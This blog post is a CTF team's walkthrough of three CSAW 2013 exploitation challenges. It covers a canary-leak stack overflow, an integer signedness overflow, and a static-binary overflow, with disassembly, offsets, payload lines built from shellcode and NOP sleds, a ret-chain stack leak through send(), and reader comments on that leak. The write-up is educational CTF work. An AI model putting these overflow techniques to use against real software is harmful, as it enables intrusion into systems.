Tuesday, September 24, 2013

CSAW CTF 2013 Quals - Exploitation 200 | 300 | 400 - [Team SegFault]

Exploitation 200

A Linux ELF 32-bit LSB executable is given without NX. On connecting to the service running on port 31338
[*] We get 4 bytes of data which is the address of buffer used for recv() function and next 4 bytes is the return value of rand()
[*] The return value from rand() is used as a canary check
.text:0804884B    call    _rand
.text:08048850    mov     ds:secret, eax
.text:08048855    mov     eax, ds:secret
.text:0804885A    mov     [ebp+var_C], eax     ; canary

.text:080488D5    mov     dword ptr [esp+0Ch], 0   ; flags
.text:080488DD    mov     dword ptr [esp+8], 1000h ; n
.text:080488E5    lea     eax, [ebp+buf]
.text:080488EB    mov     [esp+4], eax    ; buf
.text:080488EF    mov     eax, [ebp+fd]
.text:080488F2    mov     [esp], eax      ; fd
.text:080488F5    call    _recv    ; recv() overflows buffer

.text:080488FA    mov     [ebp+var_D], 0
.text:080488FE    mov     edx, [ebp+var_C]
.text:08048901    mov     eax, ds:secret
.text:08048906    cmp     edx, eax   ; canary check
Idea of exploit:
[*] 2068 bytes overwrites saved EIP
[*] 2052 bytes overwrites the canary
[*] Use the buffer address received to overwrite saved EIP and received rand() value to overwrite canary
payload = shellcode[80 bytes] + ("A" * 1960) + rand + (buf_addr * 4)
Flag: 53666e040caa855a9b27194c82a26366

Exploitation 300

On connecting to the application it asks for username and password. Provide the harcoded values csaw2013 and S1mplePWD as username and password respectively. Then it asks for Entry Info. Input given here is converted to integer using atoi() and checked if <= 0x400. If <= 0x400, recv() is called with size parameter taken from Entry Info
There is a integer signedness bug leading to buffer overflow. This is what the disassembly looks like
; atoi call
.text:08048EAD    lea     eax, [ebp+buf]
.text:08048EB0    mov     [esp], eax      ; nptr
.text:08048EB3    call    _atoi
.text:08048EB8    mov     [ebp+var_E], ax ; truncation to 16 bits

.text:08048F09    mov     eax, [ebp+arg_4]  
.text:08048F0C    mov     [ebp+var_4AC], ax  ; truncation
.text:08048F13    mov     [ebp+var_C], 0
.text:08048F1A    mov     [ebp+stream], 0
.text:08048F21    movsx   eax, [ebp+var_4AC] ; integer promotion/sign extension

.text:08048F28    mov     [ebp+n], eax
.text:08048F2B    mov     eax, [ebp+n]
.text:08048F2E    add     eax, 1         ; add 1
.text:08048F31    cmp     eax, 400h        ; comparison

.text:08048F5B    mov     eax, [ebp+fd]
.text:08048F5E    mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048F66    mov     edx, [ebp+n]
.text:08048F69    mov     [esp+8], edx    ; n    ; treated as unsigned
.text:08048F6D    lea     edx, [ebp+buf]
.text:08048F73    mov     [esp+4], edx    ; buf
.text:08048F77    mov     [esp], eax      ; fd
.text:08048F7A    call    _recv
So what happens here is
[*] Return value of atoi() is truncated to 16 bits ie. max value can be 0xffff
[*] Sign extension of 0xffff is 0xffffffff ie -1
[*] At 0x08048F31 the check is passed as (-1+1 == 0) <= 0x400
[*] When -1 is used as size parameter in recv() function, it is treated as unsigned int and becomes a huge value leading to buffer overflow

Bypass length check:
[*] soc.send(str(int(0xffff))) will bypass check for 1024 bytes allowing us to overwrite saved EIP

Finding return value with info leak using send()
[*] 1060 bytes overwrites saved EIP
[*] ret-into-ret till a good stack setup is reached like [ret | ret | .. | ret | send@plt | 0xdeadbeef | sockfd 0x4 | valid address in stack | some size parameter |
[*] This will dump data from stack. Using the address found in stack, one can find the location of payload

Final payload looks like this
soc.send("A"*1056 + ret_addr[From leaked stack address - offset] + NOP *100 + shellcode)
Flag: signness_oh_what_a_world_we_live_in

Exploitation 400

Challenge file is a 32-bit statically linked ELF executable. Input of 1024 bytes is taken using read() function resulting EIP overwrite. This was the state of program during crash.
   0x8048f3d: mov    ecx,DWORD PTR ds:0x80f0669
   0x8048f43: mov    edx,0x80f04d5
   0x8048f48: lea    edx,[edx+ecx*4]
=> 0x8048f4b: mov    eax,DWORD PTR [edx]
   0x8048f4d: mov    DWORD PTR [esp],eax
   0x8048f50: ret

EAX: 0x80f0340 ('A' <repeats 200 times>...)
EBX: 0x0 
ECX: 0x41414140 ('@AAA')
EDX: 0xd1409d5 
ESI: 0x0 
EDI: 0x8049770 (push   ebx)
EBP: 0x41414141 ('AAAA')
ESP: 0x80f0444 ('A' <repeats 200 times>...)
EIP: 0x8048f4b (mov    eax,DWORD PTR [edx])
To reach 0x8048f50 without any invalid memory access, we have to overwrite certain areas of memory with valid address. The idea was to load ECX with NULL and EDX with address of .bss so that mov eax,DWORD PTR [edx] doesn't sigsegv. The address where user input is copied, is not randomized, so can be directly used as return address.
Final payload is:
soc.send(NOP*375 + shellcode[26 bytes] + struct.pack("<I",0x080f0450)[ret address] + struct.pack("<I", 0x080f12a0)[.bss address] * 100 + struct.pack("B", 0x00) * 50)
Flag: And_all_I_got_was_this_stupid_key

3 comments :

  1. Could you please to explain more about method "Finding return value with info leak using send()" in Exploitation 300 ?

    1/ why do we need many ret instructions ?
    2/ what does "valid address in stack" means ? any stack address ?

    Thanks

    ReplyDelete
    Replies
    1. 1/ RET is used to shift the ESP because it does a POP EIP
      2/ This is what send() function looks like
      ssize_t send(int sockfd, const void *buf, size_t len, int flags)
      So, if there is a stack layload like | 0x4[socket descriptor] | Valid address in stack | Some Size | Some Flag | we can call send() to read the contents of stack. The number of bytes read depends on the size parameter available in stack.
      By "valid address in stack" i meant "any stack address" at a known/reachable offset. Say if I can read 1000 bytes from "any stack address", these 1000 bytes may hold a pointer to/closer to the shellcode. From this I can compute return address
      With series of RET, shift the stack to a nice layout for send() and leak memory to find return address

      Delete
  2. 1/ yup, I know RET is used to shift stack pointer but my question means "Why do we need to shift the stack in this scenario ?". In other words, I think we just need send@plt | 0xdeadbeef | sockfd 0x4 | valid address in stack | some size parameter without a series of ret before that ?

    2/ Got it

    Thank you very much, Reno Robert :)

    Best Regards,

    ReplyDelete